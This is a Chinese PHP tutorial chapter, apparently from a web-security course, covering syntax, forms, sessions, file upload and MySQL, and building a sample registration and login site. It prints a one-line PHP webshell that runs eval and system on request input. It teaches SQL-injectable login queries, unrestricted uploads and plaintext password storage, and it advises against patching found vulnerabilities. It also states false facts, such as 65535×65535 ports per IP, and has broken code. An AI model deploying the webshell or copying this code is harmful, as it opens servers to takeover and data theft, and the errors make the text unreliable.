欢迎光临
我们一直在努力

第四章:PHP入门之从基础到实战全解析

php基础知识

  • 概念

    • php: 超文本预处理器, 是一种通用开源脚本语言
  • 用途

    • 通过PHP,您不再限于输出HTML,您可以输出图像、PDF文件,甚至 Flash 电影,您还可以输出任意的文本,比如XHTML和XML
    • TCP有 0-65535 个端口, UDP有 0-65535 个端口, 故一个IP拥有 65535×65535 个端口

php语法

  • 概念

    • php脚本在服务器上执行, 然后将纯HTML结果送回浏览器
  • 规范

    • <?php *** ?>
    • php文件的默认文件拓展名是".php", 如果有.htaccess文件, 也可以用其他后缀识别成php
    • php文件通常包含一个HTML标签和一些PHP脚本代码
    • 内容含有PHP代码必须以.php后缀, 否则可用.html
    • PHP每个代码都要以分号结束
  • 示例代码

<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta httpequiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>my first test PHP page</title>
</head>
<body>
<h1>My first test PHP page</h1>

<?php
echo"Hello, World!";
?>
</body>
</html>


php常见函数

  • 变量赋值

    • PHP没有声明变量的命令
    • 变量在第一次赋值给它的时候被创建
    • PHP是一门弱类型语言, 不必像强类型的编程语言中必须在使用变量前先声明(定义)变量的类型和名称

<?php
$a = '111111';
echo $a;
?>

  • 变量作用域

    • local
    • global

<?php
$x = 5;
$y = 10;

function myTest(){
global $x, $y; //global引入外面的公共函数
$y = $x + $y;
echo $y;
echo '<br>'; //输出 15
}

myTest();
echo $y; //输出 15
?>

  • static

<?php
function myTest(){
static $x = 0;
echo $x;
$x++;
echo $x;
}

myTest();
myTest();
myTest();

  • parameter
  • 示例代码

<?php
$x = 5; //全局变量

function myTest()
{
$y = 10; //局部变量
$x = 5; //内部变量
echo '<p>测试函数内变量<p>';
echo '变量 x 为: $x';
echo '<br>';
echo $x;
echo '<br>';
echo '变量 y 为: $y';
}

myTest();

echo '<p>测试函数外变量: <p>';
echo '变量 x 为: $x';
echo '<br>';
echo '变量 y 为: $y';
?>

  • 参数作用域

<?php
function myTest($x){
echo $x;
}

myTest(5);


php输出函数

  • echo和print区别

    • 在打印结果上没有差别, 具体来说 echo: 可以输出一个或多个字符串, 而 print: 只允许输出一个字符串, 返回值总为 1. 一般用 echo
    • echo语句:

<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta httpequiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Document</title>
</head>
<body>
<?php
echo "<h2>PHP 很有趣</h2>";
echo "Hello, World!<br>";
echo '我要学 PHP! <br>';
echo '这是一个'.'字符串, '.'使用了','多个','参数.';

$txt1 = '学习 PHP';
$txt2 = 'MASHIBING.COM';
$cars = array('Volvo', 'BMW', 'Toyota');

echo $txt1;
echo '<br>';
echo '在 $txt2 学习 PHP';
echo '<br>';
echo '我车的品牌是 {$cars[0]}';
?>
</body>
</html>

  • EOF函数

<!DOCTYPE html>
<head>
<meta charset="UTF-8">
</head>
<body>
<?php
echo <<<EOF
<h1>我的第一个标题</h1>
<p>我的第一个段落</p>
EOF;
?>
</body>
</html>

  • print_r

    • 打印关于变量的易于理解的信息
    • 如果给出的是 string、integer 或 float,将打印变量值本身
    • 如果给出的是 array,将会按照一定格式显示键和元素
  • var_dump

    • 此函数显示关于一个或多个表达式的结构信息
    • 包括表达式类型与值
    • 数组将递归展开值
    • 通过缩进显示其结构
  • var_dump 和 print_r 的区别

    • var_dump 返回表达式的类型与值而 print_r 仅返回结果
    • 相比调试代码使用 var_dump 更便于阅读

php数据类型的比较

  • 类型

    • 字符串
    • 数字型
    • 布尔型
    • 数组
    • 空值
    • 资源型
    • 对象
      • 代码

<?php
class Car
{
function what_color($color){
return $color;
}
}

$color1 = new Car();
echo $color1 -> what_color('red');
?>

  • php类型比较

    • 松散比较:
      • 使用 == 比较, 只比较值, 不比较类型
    • 严格比较
      • 用 === 比较, 比较值和类型
    • 代码

<?php
echo '0 == false: ';
var_dump(0 == false);
echo '0 === false: ';
var_dump(0 === false);
echo "</br>";
## 得出结论: 0 与 flase 值相等, 类型不相等

echo '0 == null: ';
var_dump(0 == null);
echo '0 === null: ';
var_dump(0 === null);
echo "</br>";
## 得出结论: 0 与 NULL 值相等, 类型不相等

echo 'false == null: ';
var_dump(false == null);
echo 'false === null:';
var_dump(false === null);
echo "</br>";
## 得出结论: false 与 NULL 值相等, 类型不相等

echo '"0"== false: ';
var_dump("0" == false);
echo '"0" === false: ';
var_dump("0" === false);
echo "</br>";
## 得出结论: "0" 与 false 值相等, 类型不相等

echo '"0" == null: ';
var_dump("0" == null);
echo '"0" === null:';
var_dump("0" == null);
echo "</br>";
## 得出结论: "0" 与 NULL 值不相等, 且类型不相等

echo '"" == false: ';
var_dump(""== false);
echo '"" === false: ';
var_dump("" === false);
## 得出结论: "" 与 false 值相等, 类型不相等

echo '"" == null: ';
var_dump(""== null);
echo '"" === null: ';
var_dump("" === null);
## 得出结论: "" 与 null 值相等, 类型不相等
?>


php常量

  • 设置常量

    • 使用 define() 函数定义
    • 三个参数
      • name: 必选参数, 常量名称, 即标识符
      • value: 必选参数, 常量的值
      • case_insensitive: 可选参数, 如果设置为 Ture, 则该常量对大小写不敏感, 默认是对大小写敏感的
    • 定义常量相关代码

<?php
define('Greeting', 'Welcome to our website!');
//默认大小写敏感
echo Greeting;
echo "<br>"
echo greeting;
//输出"greeting", 但有警告信息, 表示该常量未定义
?>


php字符串

  • 并置运算符

<?php
$txt1 = '111';
$txt2 = '222';
echo $txt1.' '.$txt2;
?>

  • strlen 函数 (php内置函数)

<?php
echo strlen('Hello, World!');
//输出字符串的长度
?>

  • strpos() 函数

<?php
echo strpos('Hello, World!', 'World');
//在字符串中找到匹配, 该函数会返回第一个匹配的字符位置, 如果未找到匹配, 则返回 False
?>


运算符

  • 我就不过多赘述, 与其他语言类似
  • 代码

<?php
$x = 10;
$y = 6;
echo ($x + $y);
echo '<br>'
echo $x;
echo ++$x;
//其他类似
?>


赋值运算符

  • 代码

<?php
$x = 10;
$x += 100;
echo $y.'<br>';

$c = 10;
$c .= '123';
echo $c;
?>

  • 数组的比较

<?php
$x = array('a' => 1, 'b' => 2);
$y = array('c' => 3, 'd' => 4);
$d = array('b' => 2, 'e' => 1);
$z = $x + $y; // $x和$y数组合并

var_dump($z); // 输出合并后的数组
echo "<br>";

var_dump($x == $y); // 比较$x和$y数组是否相等
echo "<br>";
## false

var_dump($x === $y); // 比较$x和$y数组是否全等
echo "<br>";
## false

var_dump($x != $y); // 比较$x和$y数组是否不等于
echo "<br>";
## true

var_dump($x <> $y); // 比较$x和$y数组是否不等于
echo "<br>";
## true

var_dump($x !== $y); // 比较$x和$y数组是否不等于
echo "<br>";
## true

var_dump($x == $d); // 比较$x和$d数组是否相等
echo "<br>";
## true

var_dump($x === $d); // 比较$x和$d数组是否全等
echo "<br>";
## false
?>

  • 括号的使用


php函数的利用之判断

  • switch

<?php
$a = 1;
switch($a){
case '1':
echo '111';
break;
case '2':
echo '2222';
break;
default:
echo 'error!';
}
?>

  • if else

<?php
if(1 == 1){
echo 'zhen';
}else{
echo 'jia';
}
?>


php函数的利用之循环

  • while

<?php
$a = 1;
while($a < 10){
echo '死循环'; //将会不断输出, 变成死循环
}

while(true){
echo '死循环'; //同上
}

while($a < 10){
$a++;
echo $a.'<br>';
}
?>

  • do while

<?php
$a = 1;
do{
echo $a.'<br>';
$a++;
}while($a <= 100);
?>

  • for

<?php
for($a = 1; $a <= 100; $a++){
echo $a.'<br>';
}
?>


php函数的利用之


php数组

  • 数值数组

<?php
$cars = array('Toyota', 'Honda', 'Ford', 'BMW');
var_dump($cars);
?>

  • 遍历数值数组

<?php
$cars = array('Volvo', 'BMW', 'Toyota');
$arrlength = count($cars);
for($x = 0; $x < $arrlength; $x++){
echo $cars[$x];
echo "<br>";
}
?>

  • 关联数组

<?php
$age = array("Peter"=>"35", "Ben"=>"37", "Joe"=>"43");
echo $age['Peter'];
?>

  • 打印关联数组

<?php
$age = array("Peter"=>"35", "Ben"=>"37", "Joe"=>"43");

foreach($age as $x => $x_value){
echo "Key = " . $x . ", Value=" . $x_value;
echo "<br>";
}
?>

  • 数组排序

    • sort() 对数组进行升序排列
    • rsort() 对数组进行降序排列
    • asort() 根据关联数组的值, 对数组进行升序排列
    • ksort() 根据关联数组的键名, 对数组进行升序排列
    • arsort() 根据关联数组的值, 对数组进行降序排列
    • krsort() 根据关联数组的键名, 对数组进行降序排列

<?php
$age = array("Peter"=>"35", "Ben"=>"37", "Joe"=>"43");
arsort($age); //排序函数

foreach($age as $x => $x_value){
echo "Key = " . $x . ", Value=" . $x_value;
echo "<br>";
}
?>


php超级全局变量

  • PHP中预定义了几个超级全局变量(superglobals),这意味着它们在一个脚本的全部作用域中都可用。你不需要特别说明,就可以在函数及类中使用
  • $GLOBALS

<?php
$x = 10;
function addition(){
echo $GLOBALS['x'] + 5;
}
addition();
?>

  • $_SERVER

<?php
echo $_SERVER['php_self'];
echo '<br>';
echo $_SERVER['server_name'];
echo '<br>';
echo $_SERVER['http_host'];
echo '<br>';
echo $_SERVER['http_referer'];
echo '<br>';
echo $_SERVER['http_user_agent'];
echo '<br>';
echo $_SERVER['script_name'];
?>


php函数的利用

  • 函数的传值

  • 函数的返回值

  • 常见函数之phpinfo()

<?php
phpinfo();
// 测试网站可不可以解析php
?>

  • 常见函数之eval()

<?php
$a = '123';
$b = '456';
echo eval("return $a + $b;");
?>

  • 常见函数之system()

<?php
system('ipconfig');
?>

  • 一句话木马

<?php
eval($_POST['aaa']);

system($_REQUEST['cmd']);
// 不论是GET还是POST都可接收
?>


php魔术方法

  • LINE

<?php
echo '第'.__LINE__.'行';
// 显示当前行数
?>

  • FILE

<?php
echo __FILE__;
// 显示当前文件的路径和文件名
?>

  • DIR

<?php
echo __DIR__;
// 显示当前文件所在的目录
?>

  • FUNCTION

<?php
echo __FUNCTION__;
// 显示当前函数的名称
?>

  • CLASS

<?php
class test(){
function _print(){
echo 'class name' . __CLASS__ . '<br>';
echo 'function name' . __FUNCTION__ . '<br>';
}
}
$t = new test();
$t -> _print();
// 调用类中的方法,输出类名和方法名
?>


php表单

  • 前端代码

<!DOCTYPE html>
<head>
<meta charset="UTF-8">
</head>
<body>
<form action="welcome.php" method="post">
Name: <input type="text" name="name"><br>
E-mail: <input type="text" name="email"><br>
<input type="submit" value="提交">
</form>
<!– 当用户填完上面的表单病点击提交按钮时, 表单的数据会被送往名为'welcome.php'的文件进行处理 –>
</body>
</html>

  • 后端代码

<!DOCTYPE html>
<head>
<meta charset="UTF-8">
</head>
<body>
欢迎<?php echo $_POST["fname"]; ?>!
<br>
您的年龄是 <?php echo $_POST["age"]; ?>
</body>
</html>

  • 下拉菜单单选代码

<html>
<head>
<meta charset="UTF-8">
</head>
<body>
<?php
$q = $_REQUEST["q"];
if ($q == "baidu") {
echo "www.baidu.com";
} else if ($q == "google") {
echo "www.google.com";
} else if ($q == "taobao") {
echo "www.taobao.com";
} else {
echo "请选择一个站点";
}
?>

<form action="1.php" method="get">
<select name="q">
<option value="">选择一个站点</option>
<option value="baidu">Runoob</option>
<option value="google">Geogle</option>
<option value="taobao">Taobao</option>
</select>
<input type="submit" value="提交">
</form>
</body>
</html>

  • 下拉菜单多选代码

<html>
<head>
<meta charset="UTF-8">
</head>
<body>
<?php
$q = $_REQUEST['q'];
foreach($q as $value){
if ($value == "baidu") {
echo "www.baidu.com<br>";
} else if ($value == "google") {
echo "www.google.com<br>";
} else if ($value == "taobao") {
echo "www.taobao.com<br>";
} else {
echo "请选择一个站点";
}
}
?>

<form action="1.php" method="get">
<select multiple = 'multiple' name = "q[]">
<option value="">选择一个站点</option>
<option value="baidu">Runoob</option>
<option value="google">Geogle</option>
<option value="taobao">Taobao</option>
</select>
<input type="submit" value="提交">
</form>
</body>
</html>

  • 单选按钮表单之单选框

<html>
<head>
<meta charset="UTF-8">
</head>
<body>
<form action="#" method="get">
<input type="radio" name="q" value="RUNOOB">RUNOOB
<input type="radio" name="q" value="GOOGLE">GOOGLE
<input type="radio" name="q" value="TAOBAO">TAOBAO
<input type="submit" value="提交">
</form>
</body>
</html>

  • 单选按钮表单之复选框

<html>
<head>
<meta charset="UTF-8">
</head>
<body>
<?php
$q = $_REQUEST['q'];
foreach($q as $value){
if ($value == "RUNOOB") {
echo "www.baidu.com<br>";
} else if ($value == "GOOGLE") {
echo "www.google.com<br>";
} else if ($value == "TAOBAO") {
echo "www.taobao.com<br>";
} else {
echo "请选择一个站点";
}
}
?>

<form action="#" method="get">
<input type="checkbox" name="q[]" value="RUNOOB">RUNOOB
<input type="checkbox" name="q[]" value="GOOGLE">GOOGLE
<input type="checkbox" name="q[]" value="TAOBAO">TAOBAO
<input type="submit" value="提交">
</form>
</body>
</html>

  • 表单验证之前端代码

<html>
<head>
<meta charset="UTF-8">
</head>
<body>
<form action="" method="get">
用户名: <input type="text" name="name"><br>
邮 箱: <input type="text" name="email"><br>
爱 好:
<input type="checkbox" name="hobby[]" value="足球">足球
<input type="checkbox" name="hobby[]" value="篮球">篮球
<input type="checkbox" name="hobby[]" value="羽毛球">羽毛球
<input type="checkbox" name="hobby[]" value="看书">看书
<input type="checkbox" name="hobby[]" value="写字">写字
<br>备 注:
<textarea name="beizhu"></textarea>
<br>性 别:
<input type="radio" name="gender" value="男">
<input type="radio" name="gender" value="女">
<br><input type="submit" value="提交">
</form>
</body>
</html>

  • 表单验证之后端代码

<html>
<head>
<meta charset="UTF-8">
</head>
<body>
<?php
// 加固代码是高危操作, 在发现安全漏洞后, 不要第一时间加固代码, 否则会导致后面一系列代码冲突引发报错, 导致业务下线, 故我们可以从产品方面进行加固, 买fw, ufw, waf, ips, ids
$name = htmlspecialchars($_REQUEST['name']);
$email = htmlspecialchars($_REQUEST['email']);
$hobby = $_REQUEST['hobby'];
$beizhu = htmlspecialchars($_REQUEST['beizhu']);
$gender = htmlspecialchars($_REQUEST['gender']);
// htmlspecialchars() 函数把一些预定义的字符转换为 HTML 实体。比如:< 转换为 &lt;,> 转换为 &gt;,& 转换为 &amp; 等等。
?>
</body>
</html>

  • 必选以及验证

<html>
<head>
<meta charset="UTF-8">
</head>
<body>
<?php
// 加固代码是高危操作, 在发现安全漏洞后, 不要第一时间加固代码, 否则会导致后面一系列代码冲突引发报错, 导致业务下线, 故我们可以从产品方面进行加固, 买fw, ufw, waf, ips, ids
$name = htmlspecialchars($_REQUEST['name']);
$email = htmlspecialchars($_REQUEST['email']);
$hobby = $_REQUEST['hobby'];
$beizhu = htmlspecialchars($_REQUEST['beizhu']);
$gender = htmlspecialchars($_REQUEST['gender']);
// htmlspecialchars() 函数把一些预定义的字符转换为 HTML 实体。比如:< 转换为 &lt;,> 转换为 &gt;,& 转换为 &amp; 等等
if($_SERVER['REQUEST_METHOD'] == 'POST') {
if(empty($name)){
$nameERR = "名字不能为空, 请输入用户名";
}elseif(empty($email)){
$emailERR = "邮箱不能为空, 请输入邮箱地址";
}elseif(empty($gender)){
$genderERR = "性别不能为空, 请选择性别";
}else{
$name = "名字: $name";
$email = "邮箱: $email";
$beizhu = "备注: $beizhu";
$gender = "性别: $gender";
}
}
?>

<form action="" method="get">
用户名(*必填): <input type="text" name="name"><?php echo $nameERR;?><br>
邮 箱(*必填): <input type="text" name="email"><?php echo $emailERR;?><br>
爱 好:
<input type="checkbox" name="hobby[]" value="足球">足球
<input type="checkbox" name="hobby[]" value="篮球">篮球
<input type="checkbox" name="hobby[]" value="羽毛球">羽毛球
<input type="checkbox" name="hobby[]" value="看书">看书
<input type="checkbox" name="hobby[]" value="写字">写字
<br>备 注:
<textarea name="beizhu"></textarea>
<br>性 别(*必填):
<input type="radio" name="gender" value="男">
<input type="radio" name="gender" value="女"><?php echo $genderERR;?>
<br><input type="submit" value="提交">
</form><br>

<?php
echo $name . "<br>";
echo $email . "<br>";
echo 'hobby: ';
foreach($hobby as $value){
echo htmlspecialchars($value) . " ";
}
echo $beizhu . "<br>";
echo $gender . "<br>";
?>
</body>
</html>


php之文件包含

  • 前端代码

<html>
<head>
<meta charset="UTF-8">
</head>
<body>
<?php
include 'header.php';
echo $a;
//包含语句 最终包含的文件会以主文件的php打开
//文件包含的 传txt, jpg文件 到网站用包含漏洞打开
?>

<h1>欢迎来到我的主页!</h1>
<p>一些文本</p>
</body>
</html>

  • 文件及文件上传前提

    • 木马能够上传成功
    • php能够被解析, 需要被赋予执行权限
    • 能够找到你上传的图片或者木马
  • 文件及文件上传之代码

<html>
<head>
<meta charset="UTF-8">
</head>
<body>
<?php
$file = $_FILES['file'];
foreach($file as $key => $value) {
echo $key . ': ' . $value . '<br>';
}
//tmp是临时文件,上传成功后会被删除

$allowedExts = array('jpg', 'jpeg', 'png', 'gif'); //白名单
$temp = explode('.', $_FILES['file']['name']); //字符串分割
$extension = end($temp); //获取文件后缀
if((($_FILES['file']['type'] == 'image/gif')
||($_FILES['file']['type'] == 'image/jpeg'
||($_FILES['file']['type'] == 'image/jpg')
||($_FILES['file']['type'] == 'image/pjpeg'))
||($_FILES['file']['type'] == 'image/x-png')
||($_FILES['file']['type'] == 'image/png'))
&&($_FILES['file']['size'] < 204800) //小于200kb
&& in_array($extension, $allowedExts))
{
if($_FILES['file']['error'] > 0)
{
echo '错误: ' . $_FILES['file']['error'] . '<br>';
}
else
{
// echo '上传文件名: ' . $_FILES['file']['name'] . '<br>';
// echo '文件类型: ' . $_FILES['file']['type'] . '<br>';
// echo '文件大小: ' . ($_FILES['file']['size'] / 1024) . ' kB<br>';
// echo '文件临时存储的位置: ' . $_FILES['file']['tmp_name'] . '<br>';
move_uploaded_file($_FILES['file']['tmp_name'], 'upload/' . $_FILES['file']['name']);
echo '保存成功!';

// 判断当前目录下的upload目录是否存在该文件
// 如果没有upload目录, 你需要创建它, upload目录权限为777
if(file_exists('upload/' . $_FILES['file']['name']))
{
echo $_FILES['file']['name'] . ' 文件已经存在. ';
}
else
{
//如果upload目录不存在该文件则将文件上传到upload目录下
move_uploaded_file($_FILES['file']['tmp_name'], 'upload/' . $_FILES['file']['name']);
echo '文件存储在: ' . 'upload/' . $_FILES['file']['name'];
}
}
}
else
{
echo '非法的文件格式';
}
?>

<form action="#" method="post" enctype="multipart/form-data">
<label for="file">文件名: </label>
<input type="file" name="file" id="file"><br>
<input type="submit" name="submit" value="上传文件">
</form>
</body>
</html>

  • COOKIE

    • COOKIE盗取, 为越权漏洞
    • 可在浏览器F12控制台输入document.cookie查看cookie和session
    • 要写在HTML代码之前
    • setcookie()函数用于设置cookie
      • name
        • 必需, 规定cookie的名称
      • value
        • 必需, 规定cookie的值
      • expire
        • 可选, 规定cookie的有效期
      • path
        • 可选, 规定cookie的服务器路径
      • domain
        • 可选, 规定cookie的域名
      • secure
        • 可选, 规定是否通过安全的HTTPS连接来传输cookie
    • isset()函数确认是否设置了cookie
    • 删除cookie
      • setcookie(‘user’, ‘’, time() – 1);
  • SESSION

    • 工作机制
      • 为每一个访客创建一个唯一的id(UID), 并基于这个UID来存储变量, UID存储在COOKIE中, 或者通过URL进行传导
    • COOKIE保存在客户端, 而SESSION保存在服务端
    • 开启php之SESSION
      • session_start()建立session, 必须卸载HTML代码之前
    • 存储和销毁session变量

<?php
<?php
//开启session
session_start();
if(!isset($_SESSION['views']))
{
$_SESSION['views'] = $_SESSION['views'] + 1;
echo "欢迎访问本站";
}else
{
$_SESSION['views'] = 1;
}
echo '浏览量:'.$_SESSION['views'];

//第一种销毁session
session_start();
if(isset($_SESSION['views']))
{
unset($_SESSION['views']);
}

//第二种销毁session
session_start();
if(isset($_SESSION['views']))
{
session_destroy();
}
?>

<html>
<head>
<meta charset="utf-8">
</head>
</html>


php数据库

  • MySQL(前面已经学过了), 数据库不区分大小写
  • int在数据库内最多存储10位
  • MySQLi连接 (面向过程)

<meta charset="UTF-8">
<?php
$servername = '127.0.0.1';
$usernmae = 'root';
$password = '111111';

// 创建连接
$conn = mysqli_connect($servername, $usernmae, $password);

// 检测连接
if(!$conn){
die('Connection Failed: ' . mysqli_connect_error());
}
echo '连接成功';
?>

  • MySQLi连接 (面向对象)

<head>
<meta charset='UTF-8'>
</head>
<?php
$servername = 'localhost';
$username = 'username';
$password = 'password';

// 创建连接
$conn = new mysqli($servername, $username, $password);

// 检测连接
if($conn -> connect_error)
{
die('连接失败: ' . $conn -> connect_error);
}
echo '连接失败';
?>

  • PDO连接

<head>
<meta charset='UTF-8'>
</head>
<?php
$servername = 'localhost';
$username = 'root';
$password = '111111';

try{
$conn = new PDO('mysql:host = $servername;', $username, $password);
echo '连接成功';
}catch(PDOException $e)
{
echo $e -> getMessage();
}

// try后面是可能报错的代码, 如果报错则执行后面的catch代码
?>

  • 关闭连接 (面向对象)

$conn -> close();

  • 关闭连接 (面向过程)

mysqli_close($conn);

  • 实例 (PDO)

$conn = null;

  • 用php创建数据库 (面向过程)

<meta charset="UTF-8">
<?php
$servername = '127.0.0.1';
$usernmae = 'root';
$password = '111111';

// 创建连接
$conn = mysqli_connect($servername, $usernmae, $password);

// 检测连接
if(!$conn){
die('Connection Failed: ' . mysqli_connect_error());
}
echo '连接成功' . '<br>';

// 创建数据库 (面向过程)
$sql = 'CREATE DATABASE myDB';
if(mysqli_query($conn, $sql)){
echo '数据库创建成功';
}else{
echo 'Error! Creating database: ' . mysqli_error($conn);
}

mysqli_close($conn);

// 其他需要调用该文件的只需要在开头加上:
// include('conn.php');
?>

  • 用php创建数据库 (面向对象)

<meta charset="UTF-8">
<?php
$servername = '127.0.0.1';
$usernmae = 'root';
$password = '111111';

// 创建连接
$conn = mysqli_connect($servername, $usernmae, $password);

// 检测连接
if(!$conn){
die('Connection Failed: ' . mysqli_connect_error());
}
echo '连接成功' . '<br>';

// 创建数据库 (面向对象)
$sql = 'CREATE DATABASE myDB';
if($conn -> query($sql) === TRUE){
echo '数据库创建成功';
}else{
echo 'Error! Creating database: ' . $conn -> error;
}

$conn -> close();
?>

  • 用php创建数据库 (PDO)

<meta charset="UTF-8">
<?php
$servername = '127.0.0.1';
$usernmae = 'root';
$password = '111111';

try{
$conn = new PDO('mysql:host = $servername;', $username, $password);
// 设置PDO错误模式为异常
$conn -> setAttribute(PDO: ATTR_ERRMODE, PDO: ERRMODE_EXCEPTION);
$sql = 'CREATE DATABASE mydbPDO';
// 使用exec(), 因为没有结果返回
$conn -> exec($sql);
echo '数据库创建成功' . '<br>';
}catch(PDOException $e)
{
echo $sql . '<br>' . $e -> getMessage();
}
$conn = null;
?>

  • 创建表 (面向过程)

<meta charset="UTF-8">
<?php
$servername = '127.0.0.1';
$usernmae = 'root';
$password = '111111';
$data = 'kkk';

// 创建连接
$conn = mysqli_connect($servername, $usernmae, $password);

// 检测连接
if(!$conn){
die('Connection Failed: ' . mysqli_connect_error());
}
echo '连接成功' . '<br>';

// 创建数据库 (面向过程)
$sql = 'CREATE DATABASE kkk';
if(mysqli_query($conn, $sql)){
echo '数据库创建成功';
}else{
echo 'Error! Creating database: ' . mysqli_error($conn);
}

$conn1 = mysqli_connect($servername, $usernmae, $password, $data);
$sql_create_table = 'CREATE TABLE IF NOT EXISTS `kkk_tbl`(
`ID` INT UNSIGNED AUTO_INCREMENT,
`USER` VARCHAR(10) NOT NULL,
`PASS` VARCHAR(10) NOT NULL,
`PHONE` VARCHAR(11) NOT NULL,
PRIMARY KEY(`ID`)
)ENGINE = InnoDB DEFAULT CHARSET = utf8;'
;
// PHONE 不能设置成INT, 因为数据库INT最多支持10位

if(mysql_query($conn1, $sql_create_table)){
echo 'success';
}else{
echo mysqli_error($conn1);
}

mysqli_close($conn);
?>

  • 结合表单与数据库之conn.php代码

<head>
<meta charset=utf8>
</head>
<?php
$servername = "localhost";
$username = "root";
$password = "root";
$dbname = "kkk";

// 创建连接
$conn = mysqli_connect($servername, $username, $password);
$conn2 = mysqli_connect($servername, $username, $password, $dbname);

// 检测连接
if (!$conn) {
die("连接失败: " . mysqli_connect_error());
}else{
// echo "数据连接成功</br>";
if(mysqli_connect($servername, $username, $password, $dbname)){
// // echo "数据库表已经存在";
// $conn2 = mysqli_connect($servername, $username, $password, $dbname);
}else{
echo "开始自动创建数据库</br>";
$sql = "create DATABASE ".$dbname;
mysqli_query($conn, $sql);
echo "数据库创建成功</br>";
$createtbl="CREATE TABLE IF NOT EXISTS `kkk_tbl`(
`id` INT UNSIGNED AUTO_INCREMENT,
`user` VARCHAR(10) NOT NULL,
`pass` VARCHAR(10) NOT NULL,
`phone` VARCHAR(11) NOT NULL,
`file` VARCHAR(30) ,
PRIMARY KEY ( `id` )
)ENGINE=InnoDB DEFAULT CHARSET=utf8;"
;
$conn2 = mysqli_connect($servername, $username, $password, $dbname);
mysqli_query($conn2, $createtbl);
echo "数据表创建成功</br>";
}
}

// mysqli_close($conn);
?>

  • 结合表单与数据库之注册源码

<head>
<meta charset="utf-8">
</head>

<?php
include("conn.php");

$name=$_POST['name'];
$password1=$_POST['password1'];
$password2=$_POST['password2'];
$shouji=$_POST['shouji'];
$tupian=$_FILES['tupian'];
$tupianname=$_FILES['tupian']['name'];

// echo $name,$password1,$password2,$shouji,$tupian;
if($_SERVER["REQUEST_METHOD"] == "POST"){
if(empty($name) ||
empty($password1) ||
empty($password2) ||
empty($shouji)){
$ERR="账号密码、手机号码不能为空";
//密码长度8位,密码两次输入一致
//密码验证
//手机11位
//文件上传jpg
}elseif(strlen($password1)<8){
$ERR="密码长度不足八位";
}elseif($password1!=$password2){
$ERR="两次输入密码不一致";
}elseif(strlen($shouji)!="11"){
$ERR="手机号码格式有问题";
}else{
// echo $_FILES["tupian"]["name"];
if (file_exists("tupian/" . $_FILES["tupian"]["name"])){
echo $_FILES["tupian"]["name"] . " 文件已经存在。 ";
}else{
// 如果 upload 目录不存在该文件则将文件上传到 upload 目录下
move_uploaded_file($_FILES["tupian"]["tmp_name"], "tupian/" . $_FILES["tupian"]["name"]);
// echo "文件存储在: " . "tupian/" . $_FILES["tupian"]["name"];
}
$sqlinsert="insert into kkk_tbl(user,pass,phone,file)
value('$name','$password1','$shouji','$tupianname');"
;
var_dump($conn2);
if(mysqli_query($conn2, $sqlinsert)){
$ERR="注册成功</br>";
}else{
$ERR="注册失败</br>";
};
}
}

?>
<form action="" method="post" enctype="multipart/form-data" >
名字:
<input type="text" name="name" > <br>
密码:
<input type="password" name="password1" ><br>
重新输入密码:
<input type="password" name="password2" ><br>
请输入手机号码:
<input type="passwrd" name="shouji" ><br>
上传头像:
<input type="file" name="tupian" ><br>
<input type="submit" value="提交">

</form>
<?php
echo $ERR;
echo "你注册的用户为:".$name."</br>";
echo "你注册的手机号码:".$shouji."</br>";

?>

<img src="<?php echo "tupian/".$_FILES["tupian"]["name"]; ?>">

  • 结合表单与数据库之登录源码

<?php
include("conn.php");
$username=$_POST['username'];
$password=$_POST['password'];
$uapsql="select user,pass from kkk_tbl where user='$username' and pass='$password';";
$reslust=mysqli_query($conn2,$uapsql);
// var_dump($reslust);
// var_dump();

if(mysqli_num_rows($reslust)){
header('Location:youxi.php');
session_start();
$_SESSION['login']='true';
}else{
$login = "登录失败";
$_SESSION['login']='false';
}
?>

<html>
<head>
<meta charset=utf8>
</head>
<h1>请输入账号以及密码</h1>
<form action="" method="post" ></br>
<input type="text" name="username"> </br>
<input type="password" name="password"> </br>
<input type="submit">
</form>
<a href="zhuce.php">点击注册</a></br>
<?php echo $login;?>

</html>

  • 上述网站包含的漏洞

    • 逻辑漏洞, 重复注册
    • 文件上传漏洞
    • 明文传输
    • 手机号码验证
    • 反射xss
    • 重复注册 中危

php数据库之查询数据

  • 联动查询

<?php
include('conn.php');
$chaxun="select * from kkk_tbl;";
$lianjie=mysqli_query($conn2,$chaxun);
// var_dump($lianjie);
while($row=mysqli_fetch_assoc($lianjie)){
$user=$row['user'];
$pass=$row['pass'];
$phone=$row['phone'];
echo "user:".$user."</br>"."pass:".$pass."</br>"."phone:".$phone."</br>";
}
?>

  • 优化后的查询

<?php
include("conn.php");
$chaxunsql=$_GET['chaxun'];
//增加一个判断,判断传入值是数字还是字符串
if(is_numeric($chaxunsql)){
$chaxunsql="id=$chaxunsql";
}else{
$chaxunsql="username='$chaxunsql'";
}
$chaxun="select id,username from users where $chaxunsql";
$reslust=mysqli_query($conn,$chaxun);
//mysqli_fetch_assoc()查询数据库结果并且赋值为一行
$row = mysqli_fetch_assoc($reslust);
$id = $row["id"];
$username=$row["username"];
//提取row数字中的username字段
$html = "id:$id</br>username:$username</br>";
?>

<html>
<head>
<mate charset="utf-8">
<h1>请输入你要查询的id或者账号名字</h1>
<form action="#" method="get">
<input type="text" name="chaxun">
<input type="submit" >
</form>
</head>
</html>

<?phpecho $html;?>

  • 登录源码

<?php
include("conn.php");
$username=$_POST['username'];
$password=$_POST['password'];
$uapsql="select username,password from users where username='$username' and
password='$password'"
;
$reslust=mysqli_query($conn,$uapsql);
// var_dump($reslust);
// var_dump();
if(mysqli_num_rows($reslust)){
$login = "登录成功";
}else{
$login = "登录失败";
}
?>

<html>
<head>
<mate charset="utf-8">
</head>
<h1>请输入账号以及密码</h1>
<form action="" method="post" ></br>
<input type="text" name="username"> </br>
<input type="password" name="password"> </br>
<input type="submit">
</form>
<?phpecho $login;?>
</html>

  • 登录源码增加跳转功能 (未授权访问漏洞)

<?php
header('Location:youxi.php');
?>

  • 继续增加代码,需要登录以后才能访问

<?php
$_SESSION['login']='true';
?>

  • 所有路径

    • tupian文件夹(用来存放图片)
    • login.php登录页面
    • zhuxiao.php注销页面
    • conn.php数据库连接页面
    • zhuce.php注册页面
    • session.php管理session
    • youxi.php假装后台页面
  • 完整登录页面login.php

<?php
include("conn.php");
$username=$_POST['username'];
$password=$_POST['password'];
